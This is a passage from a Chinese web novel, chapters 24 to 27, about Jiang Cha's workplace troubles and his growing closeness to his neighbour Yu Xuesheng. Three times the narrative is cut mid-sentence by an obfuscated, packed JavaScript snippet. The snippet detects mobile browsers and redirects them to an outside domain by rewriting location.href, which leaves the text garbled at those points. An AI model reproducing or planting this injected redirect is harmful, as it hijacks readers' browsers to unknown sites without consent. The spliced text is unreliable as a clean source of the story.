喻雪生抬头看了他一眼,没说什么。 时间已经不早,该隐没再待多久就离开了。 下楼了还打了个电话,发来被贴了违停罚单的悲报。 喻雪生开着免提,姜察看他们边说边笑地打完电话,喻雪生的心情和状态似乎慢慢恢复过来了。 但真的恢复了几成,恐怕只有他自己知道。 “我困了,先上楼了,”喻雪生挂了电话,打了个哈欠,“今天真的谢谢你,姜察。” “没事,”姜察说,“路过而已。” 喻雪生笑了笑。 “对了,回去的话,别立刻睡觉。”姜察说。 “为什么?”喻雪生怔了怔。 “太大的情绪波动后立刻睡,脑子容易变傻。”姜察敲了敲自己的脑袋,“有科学依据的。” 喻雪生看着他,沉默了两秒,然后笑了起来。 不是无声的笑,不是勾勾嘴角,笑得很夸张。 笑够了,又伸手,擦了擦眼角。 “知道了,”喻雪生往后靠在了衣柜上,“真体贴啊,我爸眼光还真没错。” 姜察愣了愣:“什么?” “他说,该隐看着不像好人,比较像我的狐朋狗友,”喻雪生说,“但你就不一样了。” “我?”姜察指了指自己。 “啊,”喻雪生点点头,又说,“他说,你看起来更像我的男朋友。” 24. 第 24 章 姜察的手轻轻抖了一下。 他还拿着喻雪生用过的杯子,正打算放到厨房的水槽里。这一瞬间,玻璃杯差点从手中滑落。 他偏过头,盯着面前的人,没有说话。 “吓到了?”喻雪生也看着他。 “……没有。”姜察转过头,走了两步,把杯子搁到旁边的桌上。 “那你这个表情是什么意思?”喻雪生笑着问。 “没什么意思。”姜察的声音有点发闷。 喻雪生没说什么,看着他,姜察站在一边,又盯着那个玻璃杯,脑子里有点懵。 “如果是一般人听到这句话,”喻雪生靠在门口,“反应大多是‘啊,你是同性恋吗’,再直白一点的还会问我‘喻雪生,你是不是因为这个从家里跑出来的’?” 姜察沉默着。 “但你,”喻雪生顿了顿,指指他,“你什么都没问啊。” “我……”姜察皱了皱眉,“我觉得这么问不礼貌。” “是吗?”喻雪生笑了笑,从兜里摸了盒烟出来。 姜察看着喻雪生的手,没说话。 喻雪生从烟盒里抽了支烟,姜察看到,还是那个深蓝色的盒子,散发着一点淡淡的蓝莓香,还混着薄荷味儿。 这盒烟是细支的,修长的手指夹着烟出来,无论是烟还是手,都被衬得很漂亮。 会画画会缝纫会做漆的手用来拿烟,倒是一点也不违和。 “烟灰弹这儿吧。”姜察走了几步,把刚刚给该隐装烟灰的小碟子拿了过来。 喻雪生静静看着他,香烟就夹在他的指尖。 姜察挺不喜欢二手烟,但不知道为什么,只是看见喻雪生这样,他就没法打断。 他还记得喻雪生抽烟是因为心情不好。 ……心情不好吗? “骗子。”过了会儿,他听见喻雪生叹了口气。 喻雪生并没把手里的烟点上,只是那么夹了一会儿,像是忍受什么似的,又打开烟盒,收了回去。 “我骗你什么了?”姜察抬头问。 “你自己知道,”喻雪生挑了挑眉,“一点也不坦率,威胁我爸的时候可不是这样。” 姜察叹了口气:“你还想让我怎么坦……” 话音未落,喻雪生突然往前凑了凑。 视野里突然暗了下来,他还没回过神时,一阵很熟悉的气味笼了过来,说不上是石榴还是蓝莓还是别的什么。 这种淡淡的香气他经常会嗅到,但从没这么近过……是喻雪生的味道。 姜察一怔,下意识地闭上了眼睛。 下一秒,身后一凉,坚硬的触感传来,他回过神来——后背已经贴上了墙。 “原来,”喻雪生的声音在他耳边响起,“礼貌是这个反应。” 喻雪生的声音很低,但和往常不同,没带一丝笑意。听起来竟有点隐隐的不快,或者无奈。 上一次这么被他逼到墙角,还是他们初次见面、喻雪生坐着轮椅的时候。那时喻雪生的逼迫多过友善,满脸写着不爽。 而现在,这更像是一个拥抱,只不过太近了,把被拥抱的人压得无处可逃。 ……太近了。 让人喘不过气来。 “姜察,”喻雪生贴在他的耳边,“我其实很早前就发现了。” 他的声音顿了顿:“你根本就不是客气或者讨厌我,你是害怕。” 耳畔有些发痒,喻雪生的头发都扫到了他脸上。 “姜察……你到底在害怕什么?”喻雪生压低了声音,说。 空气中是一片凝固般的寂静,正当两个人都沉默着时,不知从哪里传来一阵嗡嗡的震动声。 姜察怔了下,他口袋里的手机响了,他缓了缓神,摸出手机。 喻雪生也往后退了退,松开他。 “你好?”姜察接起电话的同时往墙上的钟表瞟了一眼——都九点多了。 电话对面的人不知说了什么,喻雪生站在旁边看着,没过几秒,姜察的脸色越来越难看。 “我这就过去,”姜察皱着眉,拿起挂在进门衣架上的工卡,“你让他先别忙活了,找个地方待着去。” 他一边去穿鞋一边还打了个手势,示意自己要出门一趟。 去公司?喻雪生用口型问。 姜察点了点头。 上一分钟里,他脸上的尴尬和无措已经消失殆尽,真神奇,一提到工作,姜察就仿佛立刻换了个人似的。 这会儿他的表情相当严肃,带着一点着急和不耐烦,边换鞋边嗯啊地应付着对面。 “我说的不够明白?让他找个地方休息……别让他们挑三拣四的了,这帮人毛病这么多怎么不自己上手?”姜察一边打着电话一边出了门,外门被轻轻地“啪”得带上。 屋子里又回归一片寂静。 一切都发生得很快,喻雪生回过神来,在屋里踱了两步,慢悠悠地坐在了沙发上。 刚刚不是说要回楼上的?怎么这会儿又待在姜察家里了? 他看着玻璃茶几的桌面,啧了一声。 跟姜察开玩笑、逼问他的时候,他好像总能头头是道义正严辞,但其实……有时候他自己都不知道自己在想什么。 只是看着那个人支支吾吾、想开口又咽回去、想看过来但又避开的眼神,总想逼迫那么一下。 是嘴欠吧。 他忽然回想起几个小时前,喻建州站在他对面时,说的那些话,还有那副表情。 喻建州最可怕的表情,并不是愤怒或恐吓,而是一种掺杂着怜悯和嫌弃的冷漠。 那个才是你男朋友吧?喻建州说。 ——他和你不一样,喻雪生。 ——你到底想把多少人搞的不得安宁? …… 深夜十点,这条路上竟然还是灯火通明,路两旁的科技园、大公司都亮着灯牌,办公楼上也一片星星点点。 不少白领刚从园区大门口走出来,拖着疲惫的身躯打车。 姜察铁青着脸从公司里走出来,身后跟着不敢出声的小宇。 真是离了大谱了! 还是个刚进公司的底层校招生的时候,姜察也经历过被甩锅推卸责任的事。那会儿赵敬之脑子还算正常,帮他出过几次头,还传授了诸如“工作要留痕”之类的职场沟通法则。 但那时候,再怎么过分大家心里都有个准线,不会拖慢正常的排期和进度,更别提把自己的活扔给别的职能做。 “明天把你们聊天记录整理一下发给我,”姜察皱着眉,看着打车软件,“他怎么沟通的、怎么让你手动配那些动作的、怎么拖排期的……都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189154|181046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发过来!” “唔。”小宇闷闷地应了一声。 “你也是傻!”姜察看了眼打到的车牌号,转头又盯着小宇,“他编辑器里修改资源的事,让你配两百多个表,你还真能答应?怎么不问问我?” “不想麻烦你……”小宇低着头。 “大半夜叫我来公司麻不麻烦?”姜察说,“明天外放知道害怕了,真他妈幼稚,是他们先叫了动作组长!” “对不起……”小宇的声音很低,“我不知道丸子也把你叫来了。” “这是重点吗?”姜察瞪了他一眼,“要不然你还等着继续被坑吗!” 新资源的配表、跑测这种工作,放在很多大项目组里都有专人负责。不过在他们组,算是普通策划的基础责任之一。 但明明能通过程序和美术资源统一修改的东西,偏要一个一个让策划来调整数据,除了耽误时间增加不必要的工作量以外……实在没有别的意义。 刚上班没多久的校招生当然不知道这些,就算知道了,估计也不敢去找职能同学。 而那个跟小宇对接的动作,也是组里的老油条了,看到姜察来的时候嘴上才软和了那么一点。 “哦,原来重新绑定骨骼就能修复啊,”那人轻飘飘地扫了一眼编辑器,“真对不起了,我下次好好检查。” 旁边的动作组长皱着眉,没说话。不过没关系,明天他就能收到聊天记录和投诉了…… “靠,订单取消了。”站在公司门口,姜察还是气不打一处来,拧着眉盯着手机。 也许是太晚,这时间这区域打车的比接单的司机都多。来的时候太急没骑自行车,这下估计要走回去了。 “你也别等了,你先走吧,”姜察转头对小宇说,“我住得近,步行回家就行。” 小宇点了点头:“好,今天真的……对不起。” “该严于律人的时候也要严于律人,”姜察叹了口气,“也不是所有人都打算把工作做好的。” 小宇“嗯”地应了一声。 看着小宇跟个鹌鹑似的站着,姜察又有点于心不忍,语气放软了点,他没当过“领导”,也不想要什么威慑力,只是单纯不愿意看懵懂的小孩任人拿捏。 “你们有什么事都可以跟我说,”姜察想了想,道,“虽然有时候的问题挺蠢的,但我不怕打扰……怎么都比出事强。” “小姜哥,你真的很好。”小宇的声音里带了点鼻音。 姜察犹豫了一下,伸手拍了拍他的肩,小宇好像比自己还高那么一点。包装组的四麻雀里,小宇的性格最沉稳,但没想到竟也是最老实最包子。 “姜察,”小宇吸了吸鼻子,突然看向他,“谢谢你,我一直有句话想说。” 姜察点点头,有些心不在焉地盯着手机……刚刚手机弹了提醒,他这才想起十五分钟前喻雪生发了消息过来。 而那时候的他正忙着吵架,还没来得及看。 “我真的……很喜欢你。”小宇叹了口气,说。 啊? 姜察愣了愣,回过神来。 他迷茫地抬头看向小宇——手机还停在点开消息通知的界面。此时此刻,他的脑袋上飘过一排巨大的问号。 ——太晚了,我去接你一下。 与此同时,屏幕上的小雪花如是说。 25. 第 25 章 “我……” 姜察错愕地看着小宇,同时有些惊慌地往空荡荡的马路上瞥了一眼。 说不上是为什么心虚,总之这种莫名其妙的对话,他真怕又来个相遇剧情——然后被喻雪生凑巧听见。 怕被揪住小辫子开玩笑吗?不,已经开过了,什么“我爸说你看起来像我的男朋友”…… “对不起,小姜哥。”似乎是意识到姜察的尴尬,小宇开口道。 “呃……没事。”姜察回过神来,摇了摇头。 “我、我其实也没别的意思,”小宇的声音很低,“但确实是那个意思……” 姜察感觉眉心都跳了跳,忍不住皱起了眉。 他完全没想到会发生这种事,而且,应该不是自己会错意。 “你也不用回复我什么,我只是想这样说出来,”小宇干笑了一下,“你放心,我不会再提了。” 姜察的反应已经太过明显,如果不想要被直截了当的点破,最好还是就此打住比较好。 小宇笑得很难看,脸上有些掩不去的难过。 但姜察不知道该说什么,他也没空去管——就在他们说话的时候,一辆出租车停在了园区门口。 门开了,熟悉的人影走了下来。 看得出喻雪生只是随便套了件衣服就出了门,但简直天怒人怨,普通的白T恤穿在帅哥身上都那么亮眼。 这家伙还趁这时间洗了澡——半长的头发湿漉漉的,发梢搭在肩上。 喻雪生直截了当地冲着姜察走了过来,脸上还带着笑。站定的时候,沐浴露的香味儿毫不留情地糊了两个灰头土脸的社畜一脸。 “看到消息了吗?”喻雪生对姜察扬了扬手机。 “刚看见,你打车来的?”姜察皱了皱眉,打车接人是图个什么? “啊,”喻雪生点点头,又看向旁边的小宇,“嗨,我们见过吧。” 小宇当然认识喻雪生,不管是作为有名的up主,还是游戏的合作方,还是那天茶园相遇过的帅哥……喻雪生给人留下的印象都足够深刻。 他愣愣地点点头,没说什么。 “行了,你早点回去吧。”姜察赶紧拍了下小宇的肩,“路上注意安全。” 小宇看了他们一会儿,点了点头。 和大部分刚进入职场的新人一样,这小子还不舍得住离公司太近的公寓,应该是骑电动车上下班的。 姜察看着他离开,一路目送。 喻雪生没说话,也许是察觉到了什么,也这样静静站在旁边,直到小宇的背影消失。 姜察终于转过身,对着他说:“走吧。” 半夜十点多,这条街上加班的社畜也陆陆续续回了家。走在路上,两旁的路灯照着,倒没什么恐怖的气氛,反而有种忙碌过后、烟尘散尽的淡淡的疲惫感。 白天余留的暑气还残存在路面上,姜察跟喻雪生并排走着,不一会儿竟然有点发汗。 “你脸色怎么比刚出门前还差?”走了一会儿,喻雪生转头,问。 “别提了,”姜察叹了口气,“一堆破事儿……” 说真的,他都不知道跟同事对峙和被小宇告白哪个更“破”。 “讲讲?”喻雪生饶有兴趣地问。 “跟同事吵了一顿,解决烂摊子去了,”姜察想了想,说,“你对这种事也感兴趣?无聊的社畜生活。” “感兴趣啊,”喻雪生笑了笑,“我还没见过你跟你同事吵架的样子。” 这句话有点莫名其妙,姜察怔了下,转头有些眼神复杂地看向喻雪生。 “别多想,”喻雪生啧了一声,“我没上过班,就是有点好奇。” “哦,”姜察顿了顿,回过神,“你也会有上班那天的。” “这不一定吧。”喻雪生说。 喻雪生没再说话,抬头不知看着什么,跟姜察并排走着。 姜察下意识也顺着他的目光抬头看了一眼。 夜晚没有什么好景色,阴天,全是云。 公司离家也就一两公里,一路无话,两人默契地选择了步行。 这片区域都是上班族,非工作时间总是出奇的静,偶尔只有几辆半夜接活儿的网约车驶过。 走到离家只剩一个路口的时候,喻雪生突然开了口。 “我有点饿了。”他说。 “啊?”姜察愣了下。 “去吃个宵夜吧,我请你,”喻雪生说,“我知道有家店……” “你怎么不走到家再说饿啊?”姜察有点无奈。 “哦,那我到了再说。”喻雪生认真地点点头。 “你……”姜察看着他,“算了。” “要不你回去给我做?我也不介意,”喻雪生笑着在路边站定,“不过你也可以选择我请你吃海鲜,我知道的店还不错。” 姜察跟着他站在了路边,叹了口气算是认命。 “你听过一个笑话吗?”喻雪生从兜里掏了手机出来,边按着边说。 “什么?”姜察问。 “两个精神病想逃出精神病院,精神病院有一百道围墙,于是他们一起翻墙,”喻雪生说,“翻到第十道墙的时候,精神病甲问乙,你累吗?乙说不累……” 姜察皱了皱眉,没接话,这什么奇葩笑话。 “翻到第五十道墙的时候,甲又问,你累了吗?乙说,我不累。翻到第九十九道墙的时候,甲又问乙,你累吗……” “乙说累了?”姜察说。 “对,”喻雪生点点头,“然后精神病甲说,那我们翻回去吧。” 姜察沉默了五秒,猛地抬头,盯着他。 喻雪生笑得不行,边咳嗽边锤了锤胸口。 “你他妈真跟精神病……”姜察骂了一句。 骂到一半,突然又闭了嘴。 喻雪生还在笑,似乎没发觉到他的不对劲,过了半天,终于笑够了,低头看着手机。 “车马上就到了。”他对姜察说。 姜察“嗯”地应了一声。 喻雪生定的终点在他们家附近的一片商业区,这边有个大型购物中心,算是这片区域为数不多有夜生活的地方。 路两旁,不少烧烤店在门口揽客,从出租车上下来后,一路上总有小姑娘试图往两人怀里塞菜单。 姜察发现 ,喻雪生虽然挑剔又难伺候,但对陌生人时态度格外不错。不管是递传单的小哥、塞菜单的小妹、还是热情喊着“小哥进来吃饭啊”的大爷大妈,他都一律微笑着摆手拒绝。 又想起他那个宛若扫黑除恶漏网之鱼的父亲……很难想象他是在什么样的家庭环境和教育下长大的。 在店里坐下后,喻雪生扫了桌上的码,看起来还挺熟悉。 “吃什么自己点,”喻雪生说,“他家还挺有名的。” “我没来过。”姜察看了看菜单,说。 “嗯,”喻雪生划着手机,“我也只跟该隐来过一次,这家的花雕醉沼虾和冰小龙虾都很新鲜。” “小龙虾?”姜察抬头看着他,“不是海鲜吗?” “你试试就知道了,”喻雪生啧了声,“海鲜也点,嗯,点个豆腐鱼……” 点菜基本上是喻雪生全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189155|181046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 权决定的,不知道为什么,说起宵夜,似乎小龙虾和烧烤是餐桌上的王者。 可能是因为剥虾的时候不能玩手机,只能聊天? 不过在这个找家好吃的店难如登天的城市,能吃的宵夜不算多…… 小龙虾上桌的时候,姜察愣了愣,鲜红色的虾在碎冰上摆成了一圈,还点缀了酱料,看起来相当漂亮。 喻雪生笑着做了个“请”的手势。 姜察不太吃小龙虾,这倒不是因为没什么耐心剥壳,毕竟连三文鱼这种需要一根一根拔刺的食物他都是亲自处理。 他只是下意识拒绝这些刻板印象里的……不健康食物。 说起来,这种习惯也是有迹可循的。 他拎了只虾出来,剥开通红的壳,虾头里黄出乎意料的满,里面的虾肉很结实很弹。 放到口中……居然是甜的? “挺不错,”吃完一只虾,姜察有点无奈地看着对面的人,“确实是你会喜欢的东西。” “怎么说?”喻雪生边剥虾边看着他。 “甜的,”姜察说,“我有时候真怀疑你才是南方人。” “投胎投错了吧,”喻雪生说,“也有可能我们精神病的喜好比较错乱……” 姜察呛了一下,猛地咳嗽起来。 喻雪生赶紧站起来,拍着拍他的后背:“哎你不至于吧!” “……没事。”姜察边咳嗽边皱着眉。 小龙虾里带着花雕酒味儿的酱汁顺着喉咙淌下去又翻上来,鼻腔和口腔里弥漫着一股呛辣的甜。 他都快怀疑喻雪生是故意的了! 咳了半天后才缓过神来,喻雪生坐在对面,笑盈盈地盯着他。 “说人一句坏话,你不至于这么心虚吧?”喻雪生问。 “你听见了?”姜察喝了口水,压了压残余的不适感。 喻雪生点了点头,从旁边的纸巾盒里抽了一张纸,递过来。 “擦擦眼泪,”喻雪生说,“跟刚被我气哭了似的。” “我还得谢谢你的纸。”姜察无奈地接过来。 “那不用,”喻雪生又乐起来,“我不用你像某人对我一样那么客气……” 情商低的人聊天总会哪壶不开提哪壶,但如果是目前这种情况,就完全跟情商没关系了。 喻雪生专门挑不开的壶挨个掀盖儿,掀完还不忘往里兑点凉水,再把火调小点儿。 姜察彻底放弃聊天,拿筷子夹了块豆腐鱼吃。 鲜嫩的鱼肉切成小块儿,裹了面糊炸过,还放了椒盐调味。整道菜口味不算重,鲜味和不健康的油炸食品口感结合得刚刚好。 这菜他应该也能做出来…… 吃了一会儿菜,姜察看着嘴欠完一脸舒畅的喻雪生,轻轻叹了口气。 “喻雪生,”他把筷子搁下,“你要是有什么介意的……你直接说吧。” 喻雪生抬头看了他一眼。 “不是说我不够坦率吗?”姜察说。 “所以呢?”喻雪生说。 “所以你今天……随便问,”姜察声音有点闷,“我跟你之间,应该有挺多旧账能翻的。” 喻雪生没说话,又剥了只虾,过了会儿才慢条斯理地把一次性手套脱下来。 姜察坐在对面,看着他,脸上的表情说不上紧张,反正挺严肃。 也不知道是总哪儿开始不对的……这顿饭又逐渐变成了开会的气氛。 这就是社畜的魔力吧。 喻雪生喝了口茶,清了清嗓子。 “姜察,”他说,“今晚,来个坦白局吧。” 26. 第 26 章 “一开始的时候,”喻雪生说,“我其实不太想认识你。” “……哦。”姜察应了一句。 “但你很有意思,为了工作好像什么都能忍,什么都接受,”喻雪生轻笑了一下,“我可能是太闲了,就想惹你玩玩。” “你礼貌吗?”姜察瞥了他一眼。 “别插话,”喻雪生拿起水壶,给杯子里倒了点茶,“刚住到你楼上的时候,我觉得你聊天还挺正常的,想跟你交个朋友。结果发现怎么会有这么别别扭扭扭扭捏捏的人……” “后来我明白了,”喻雪生把水壶放下,“我跟你不太一样。” 不太一样? “……不一定吧,”姜察皱了皱眉,“你是指什么?” “你是正经人。”喻雪生看着他,说。 刚想反驳一句“你也没不正经到哪里去啊”,姜察突然就意识到了喻雪生的想说什么。 从生活和经历上讲,他们确实是毫无相似之处。 似乎正是从自己职场不顺、或者说跟喻雪生认识开始……平淡无波的生活里才出现了无数的变化。 不管是难以应付的玩家,还是没事找事的邻居,还是一起吃海底捞、一起爬山、半夜被迫聊天做饭面对扫黑除恶的漏网之鱼……在以前,这些事都不会在他的日常里出现。 一直以来,他都下意识筛选了身边出现的事,和人。 喻雪生这种人从来不在他的选择范围之内。 “我一直觉得你不屑于跟我这种人有什么关系。”喻雪生看着他,说,“所以也挺不服……” “……我没有。”姜察开口,声音有点艰涩。 喻雪生笑了笑。 “那姜察,你到底在怕什么?” 他又问出了那个问题。 姜察可能知道问题的答案。 动荡的、变化的生活。 不确定的未来。 不确定的朋友。 以及随时有可能消失的人……或关系。 不管是寸头还是秋总,似乎只有这种稳定的、不会轻易从身边离开的人才能靠近他。 他们依赖于“职场”这个载体出现,不会给他的生活带来太大的波动,没有意外事件,没有过多情绪。 姜察一直觉得,他的人生应该是个模拟策略类游戏,规划好每一年每一月每一周的计划,加固定的数值,触发固定的事件,达成一个普通的结局。 他才不想要什么大冒险。 至少……他从小是被这样教育的。 但计划之外的喻雪生出现了。像是玩了很久的单机RPG游戏,突然发现这玩意儿有隐藏关卡,再仔细一看,靠,竟然是MMO!这世界有PVP玩法! 但原先的结局怎么办? “……我害怕变化。”姜察终于开口。 喻雪生静静听着。 “我怕无法预测的发展。”姜察苦笑了一下,“你的变化太多了。” “嗯。”喻雪生应了一声。 “我也没把握能跟你成为朋友,”姜察拿过杯子,喝了口水,“说不定你哪天就会搬走,或者去上学,去工作……” “你怕朋友离开吗?”喻雪生问。 “也不是,”姜察想了想,“我可能是怕别人带给我的所有的变化。” “你想要一成不变的人生啊。”喻雪生说。 桌上的菜上齐了有一会儿了,气氛轻松了些,趁菜还有热气,喻雪生示意他再吃几口。 “你知道吗,我很少被人像这样叫出来吃宵夜。”姜察拎着一只虾剥着,无奈地笑了笑。 “那两个总是跟你一起的同事呢?吃宵夜算什么出格的活动?”喻雪生问。他遇到姜察和朋友在一起的时候,姜察身边似乎总是固定的两人。 “我们的日程都要提前约,”姜察说,“哪天哪天去谁家,哪天哪天去哪里,几点去做什么。” “真夸张。”喻雪生啧了一声。 “怪我,我习惯提前规划好一切,”姜察顿了顿,说,“所以从小到大,我都不擅长交计划外的朋友。除非别人指名道姓地叫我,否则我不会过去跟他们玩。” “为什么不主动点,”喻雪生说,“万一你一伸手,人家就过来了呢?” “哪有那么好的事,”姜察笑了笑,“不主动的话没什么事,万一主动了又没回应……我怕自作多情。” “自作多情?”喻雪生看着他。 “嗯,万一人家没那个意思呢?”姜察说。 “哦,”喻雪生点点头,“那你要不要向我伸手试试?” 喻雪生的这句话说得很顺当,就像随便聊着天抛出来的一句。 姜察微微怔了怔,他几乎自白似的乱七八糟倒了一堆话出来,不管是害怕动荡,还是不擅交友,还是别的什么……结果喻雪生还是这样,轻飘飘地接受并给出了回应。 “我很别扭。”姜察看着他。 “我知道,”喻雪生很认真地说,“我专治别扭。” “跟我交朋友也没什么好处。”姜察说。 “没事,”喻雪生点头,“我就是喜欢骚扰正经人。” 宵夜店里很嘈杂,有好几桌聊天喝酒划拳的人,但这桌有点诡异的安静。 路过的服务生奇怪地看了一眼,走过来给茶壶里添了点水,又离开。 姜察盯着对面的人看了一会儿,忍不住叹了口气,笑了。 喻雪生也看着他,只见姜察放下手里的虾,把一只刚剥掉的虾钳递了过来。 “这是什么?”喻雪生看着盘子里那只虾钳,“表达感谢的话不是应该给我剥肉吗?” “向你伸手。”姜察说。 喻雪生愣了愣,眯起眼:“你还真是……你挺有意思的。” 今天唯一的一件好事,恐怕就是跟喻雪生彻底把话说开。吃完宵夜,回到家躺在床上的时候,姜察才想起今晚另一件离谱的经历。 他头痛地翻了个身,把脸往枕头里埋了埋。 ……以后该怎么面对小宇? 希望这小子别做什么傻事。 从A面翻到B面又翻过来,跟烙饼似的翻了好几遍之后,困意终于渐渐袭来。 半梦半醒中,似乎有个声音在跟他说话。 ——这不对吧? ——你真的要跟他做朋友吗? ——你真的是害怕那些东西…… …… 第二天,令人担心的事没发生,小宇似乎并没有因为那天晚上的事有什么改变。 两位当事人默契地如失忆般闭口不谈。不过与此同时,投诉信送到了,外放的内容处理完后,PM又重新整理了流程和规范。 麻雀小队不愧是麻雀,姜察怒喷动作组、给小宇讨公道的事被他们几个吹得神乎其神。 “当小领导是这样的,”秋总有点好笑地看着不远处工位上正闹的人,“护犊子就是你最高光的时刻,年轻人好骗,随便对他们好一点就能死心塌地感激涕零。” “是是是……宣传能力多好啊,适合分到你们营销组。”姜察从秋总桌上的咖啡里随便挑了一杯,叹着气说。 事情过去了一个礼拜,一切都回到了正轨。 工作稳步进行,漆艺企划已经有了很像样的一套原画;组内气氛和谐,甚至准备下一轮团建;而姜察之前最头疼的喻雪生,也乖得像只鹌鹑…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189156|181046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……大概吧。 “你又接活了?”该隐踩着一地废墟进屋,问完就觉得自己问了个相当多余的问题,喻雪生把家里搞成这样,多半是又陷入了工作之中。 “啊……还在设计稿阶段。”喻雪生从一堆能把他埋住的纸张里抬起头来。 “又做什么?漆盒?”该隐凑上去看了看,说。 杂乱的图上勉强能分辨出几个六边形,熟悉的一看就知道要做的是六角漆盒。这种小盒子一般是木胎,无论是嵌螺钿还是做戗金都很漂亮。 不过因为边边角角比较多,做起来麻烦,算是个需要花时间的工程。 “不急,做着玩的。”喻雪生还在慢悠悠地描着线,“过两天去山上开工。” “那你还不吃不喝?”该隐问。 “找灵感呢,玩也得认真点,我有工匠精神。”喻雪生啧了一声。 “哟,不再贯彻执行那个‘不用那么认真’的人生格言了?”该隐撇撇嘴。 站在旁边看了一会儿,见喻雪生不搭理他,该隐无趣地走开逗猫去了。 前几天,喻雪生已经去学校办了复学的手续,按照规定,再过几个月就要跟新大二一起回校上课。 这间公寓离学校太远,他当然不可能勤奋到天天坐一个小时地铁去赶早八……所以接下来,还得抽时间去学校旁边找房子。 他不得不承认,就算手头不宽裕,自己也是少爷脾气,实在住不惯宿舍。 别说一起生活了,就算想想跟好几个人共处一室他都头皮发麻。 该隐对此颇为赞同,看着人模人样的喻雪生,私下里烟酒都来还毒舌脾气差忙起来不收拾房间……也不知道舍友和他谁会先被气死? “你什么时候出门?”该隐坐在沙发上玩着猫,又瞟了一眼时间,“这都快中午了。” “马上,饿了你先找点东西吃吧,冰箱里有糯米藕。”喻雪生又趴回工作台上。 该隐把雪球抱到旁边,走过去打开冰箱。 “你买的?”他打开保鲜盒的盖子,顺手捏了片糯米藕吃。 “抱完猫洗手了吗?”喻雪生瞥了他一眼,“少吃两口,限量三片。” “靠,”该隐无语地盖上盒子,“我还没问你放多久了呢!” “昨晚刚做的!”喻雪生喊了声。 过了几秒,该隐突然反应过来似的,眼睛都睁大了一点。 “姜察做的?”该隐问。 “嗯。”喻雪生应了声。 “他是不是欠你钱了?”该隐问,“欠多少啊?” “你去问问他,快去,”喻雪生说,“你以为人人都跟你一样签了卖身契啊?” 喻雪生画完最后一笔,直起身来,揉了揉脖子。 还没等该隐说下句话,他走过去,一把拿过保鲜盒,塞回了冰箱里。 “走走走出去吃饭……”喻雪生叹了口气,把该隐往门外推。 “有人做饭了不起,”该隐语气颇为鄙夷,“真搞不明白你是压榨劳工还是对人家有什么非分之想。” 喻雪生“啪”地带上房门,结束了对话。 两分钟后,门又“砰”地被打开,喻雪生两步跑进来,鞋也没换就跑到工作台边,飞速地翻了一张纸出来。 似乎是有了什么灵感,埋头唰唰唰地迅速画了几笔。 “做得完吧?” 他站在工作台边,自言自语了一句。又打开手机,翻了翻日历。 “你还吃不吃饭了——”该隐在楼下催着。 那张纸被折了折,压在桌角的镇纸下。 喻雪生收好手机,匆匆应了一声。 然后不紧不慢地走出了房门。 27. 第 27 章